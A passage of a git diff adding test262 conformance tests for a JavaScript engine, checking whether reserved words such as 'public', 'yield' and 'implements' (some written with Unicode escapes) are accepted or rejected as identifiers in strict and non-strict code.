+ eval("var privat\u0065 = 123;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1-20-s.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1-20-s.js
new file mode 100644
index 000000000..846805b69
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1-20-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1.2/7.6.1-20-s.js
+ * @description 7.6 - SyntaxError expected: reserved words used as Identifier Names in UTF8: \u0070\u0075\u0062\u006c\u0069\u0063 (public)
+ * @onlyStrict
+ */
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("var \u0070\u0075\u0062\u006c\u0069\u0063 = 123;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1-21-s.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1-21-s.js
new file mode 100644
index 000000000..f0536eac3
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1-21-s.js
@@ -0,0 +1,25 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1.2/7.6.1-21-s.js
+ * @description 7.6 - SyntaxError expected: reserved words used as Identifier Names in UTF8: \u0079ield (yield)
+ * @onlyStrict
+ */
+
+
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("var \u0079ield = 123;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1-22-s.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1-22-s.js
new file mode 100644
index 000000000..5eb6d1ec6
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1-22-s.js
@@ -0,0 +1,25 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1.2/7.6.1-22-s.js
+ * @description 7.6 - SyntaxError expected: reserved words used as Identifier Names in UTF8: inte\u0072face (interface)
+ * @onlyStrict
+ */
+
+
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("var inte\u0072face = 123;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1-23-s.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1-23-s.js
new file mode 100644
index 000000000..db11bad05
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1-23-s.js
@@ -0,0 +1,25 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1.2/7.6.1-23-s.js
+ * @description 7.6 - SyntaxError expected: reserved words used as Identifier Names in UTF8: packag\u0065 (package)
+ * @onlyStrict
+ */
+
+
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("var packag\u0065 = 123;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1-24-s.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1-24-s.js
new file mode 100644
index 000000000..f2c7e9f90
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1-24-s.js
@@ -0,0 +1,25 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1.2/7.6.1-24-s.js
+ * @description 7.6 - SyntaxError expected: reserved words used as Identifier Names in UTF8: \u0070\u0072\u006f\u0074\u0065\u0063\u0074\u0065\u0064 (protected)
+ * @onlyStrict
+ */
+
+
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("var \u0070\u0072\u006f\u0074\u0065\u0063\u0074\u0065\u0064 = 123;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1-25-s.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1-25-s.js
new file mode 100644
index 000000000..b6ca63f82
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1-25-s.js
@@ -0,0 +1,25 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1.2/7.6.1-25-s.js
+ * @description 7.6 - SyntaxError expected: reserved words used as Identifier Names in UTF8: \u0073\u0074\u0061\u0074\u0069\u0063 (static)
+ * @onlyStrict
+ */
+
+
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("var \u0073\u0074\u0061\u0074\u0069\u0063 = 123;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-1-s.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-1-s.js
new file mode 100644
index 000000000..3c34bc7cb
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-1-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-1-s.js
+ * @description Strict Mode - SyntaxError is thrown when FutureReservedWord 'implements' occurs in strict mode code
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("var implements = 1;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-10-s.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-10-s.js
new file mode 100644
index 000000000..8c5004d91
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-10-s.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-10-s.js
+ * @description Strict Mode - SyntaxError isn't thrown when 'IMPLEMENTS' occurs in strict mode code
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var IMPLEMENTS = 1;
+ return IMPLEMENTS === 1;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-11-s.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-11-s.js
new file mode 100644
index 000000000..34a017854
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-11-s.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-11-s.js
+ * @description Strict Mode - SyntaxError isn't thrown when 'Implements' occurs in strict mode code
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var Implements = 1;
+ return Implements === 1;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-12-s.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-12-s.js
new file mode 100644
index 000000000..14796c164
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-12-s.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-12-s.js
+ * @description Strict Mode - SyntaxError isn't thrown when 'implement' occurs in strict mode code
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var implement = 1;
+ return implement === 1;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-13-s.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-13-s.js
new file mode 100644
index 000000000..4513e1222
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-13-s.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-13-s.js
+ * @description Strict Mode - SyntaxError isn't thrown when 'implementss' occurs in strict mode code
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var implementss = 1;
+ return implementss === 1;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-14-s.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-14-s.js
new file mode 100644
index 000000000..4863705c0
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-14-s.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-14-s.js
+ * @description Strict Mode - SyntaxError isn't thrown when 'implements0' occurs in strict mode code
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var implements0 = 1;
+ return implements0 === 1;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-16-s.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-16-s.js
new file mode 100644
index 000000000..16f6bc191
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-16-s.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-16-s.js
+ * @description Strict Mode - SyntaxError isn't thrown when '_implements' occurs in strict mode code
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var _implements = 1;
+ return _implements === 1;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-2-s.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-2-s.js
new file mode 100644
index 000000000..9f922e41d
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-2-s.js
@@ -0,0 +1,25 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-2-s.js
+ * @description Strict Mode - SyntaxError is thrown when FutureReservedWord 'let' occurs in strict mode code
+ * @onlyStrict
+ */
+
+
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("var let = 1;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-3-s.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-3-s.js
new file mode 100644
index 000000000..77530dd7b
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-3-s.js
@@ -0,0 +1,25 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-3-s.js
+ * @description Strict Mode - SyntaxError is thrown when FutureReservedWord 'private' occurs in strict mode code
+ * @onlyStrict
+ */
+
+
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("var private = 1;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-4-s.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-4-s.js
new file mode 100644
index 000000000..6f021380b
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-4-s.js
@@ -0,0 +1,25 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-4-s.js
+ * @description Strict Mode - SyntaxError is thrown when FutureReservedWord 'public' occurs in strict mode code
+ * @onlyStrict
+ */
+
+
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("var public = 1;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-5-s.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-5-s.js
new file mode 100644
index 000000000..f6a798385
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-5-s.js
@@ -0,0 +1,25 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-5-s.js
+ * @description Strict Mode - SyntaxError is thrown when FutureReservedWord 'yield' occurs in strict mode code
+ * @onlyStrict
+ */
+
+
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("var yield = 1;")
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-6-s.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-6-s.js
new file mode 100644
index 000000000..3e1e35ccd
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-6-s.js
@@ -0,0 +1,25 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-6-s.js
+ * @description Strict Mode - SyntaxError is thrown when FutureReservedWord 'interface' occurs in strict mode code
+ * @onlyStrict
+ */
+
+
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("var interface = 1;")
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-7-s.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-7-s.js
new file mode 100644
index 000000000..6d2487376
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-7-s.js
@@ -0,0 +1,25 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-7-s.js
+ * @description Strict Mode - SyntaxError is thrown when FutureReservedWord 'package' occurs in strict mode code
+ * @onlyStrict
+ */
+
+
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("var package = 1;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-8-s.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-8-s.js
new file mode 100644
index 000000000..8e2f8e8fe
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-8-s.js
@@ -0,0 +1,25 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-8-s.js
+ * @description Strict Mode - SyntaxError is thrown when FutureReservedWord 'protected' occurs in strict mode code
+ * @onlyStrict
+ */
+
+
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("var protected = 1;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-9-s.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-9-s.js
new file mode 100644
index 000000000..6e5ebfd21
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-9-s.js
@@ -0,0 +1,25 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1.2/7.6.1.2-9-s.js
+ * @description Strict Mode - SyntaxError is thrown when FutureReservedWord 'static' occurs in strict mode code
+ * @onlyStrict
+ */
+
+
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("var static = 1;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.1.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.1.js
new file mode 100644
index 000000000..4b7573d26
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.1.js
@@ -0,0 +1,12 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "abstract" token can be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.1.js
+ * @description Checking if execution of "abstract=1" succeeds
+ */
+
+var abstract = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.10.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.10.js
new file mode 100644
index 000000000..d255891bb
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.10.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "export" token can not be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.10.js
+ * @description Checking if execution of "export=1" fails
+ * @negative
+ */
+
+var export = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.11.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.11.js
new file mode 100644
index 000000000..f95dbf77e
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.11.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "extends" token can not be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.11.js
+ * @description Checking if execution of "extends=1" fails
+ * @negative
+ */
+
+var extends = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.12.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.12.js
new file mode 100644
index 000000000..41d1a2aa3
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.12.js
@@ -0,0 +1,12 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "final" token can be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.12.js
+ * @description Checking if execution of "final=1" succeeds
+ */
+
+var final = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.13.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.13.js
new file mode 100644
index 000000000..fcea14220
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.13.js
@@ -0,0 +1,12 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "float" token can be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.13.js
+ * @description Checking if execution of "float=1" succeeds
+ */
+
+var float = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.14.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.14.js
new file mode 100644
index 000000000..a8c81aef6
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.14.js
@@ -0,0 +1,12 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "goto" token can be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.14.js
+ * @description Checking if execution of "goto=1" succeeds
+ */
+
+var goto = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.15.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.15.js
new file mode 100644
index 000000000..b1d3adb8a
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.15.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "implements" token can not be used as identifier in strict code
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.15.js
+ * @description Checking if execution of "implements=1" fails in strict code
+ * @onlyStrict
+ * @negative
+ */
+
+"use strict";
+
+var implements = 1;
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.15ns.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.15ns.js
new file mode 100644
index 000000000..845f7914a
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.15ns.js
@@ -0,0 +1,13 @@
+// Copyright 2011 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "implements" token can be used as identifier in non-strict code
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.15ns.js
+ * @description Checking if execution of "implements=1" succeeds in non-strict code
+ * @noStrict
+ */
+
+var implements = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.16.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.16.js
new file mode 100644
index 000000000..0e28098f0
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.16.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "import" token can not be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.16.js
+ * @description Checking if execution of "import=1" fails
+ * @negative
+ */
+
+var import = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.17.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.17.js
new file mode 100644
index 000000000..97bd27342
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.17.js
@@ -0,0 +1,12 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
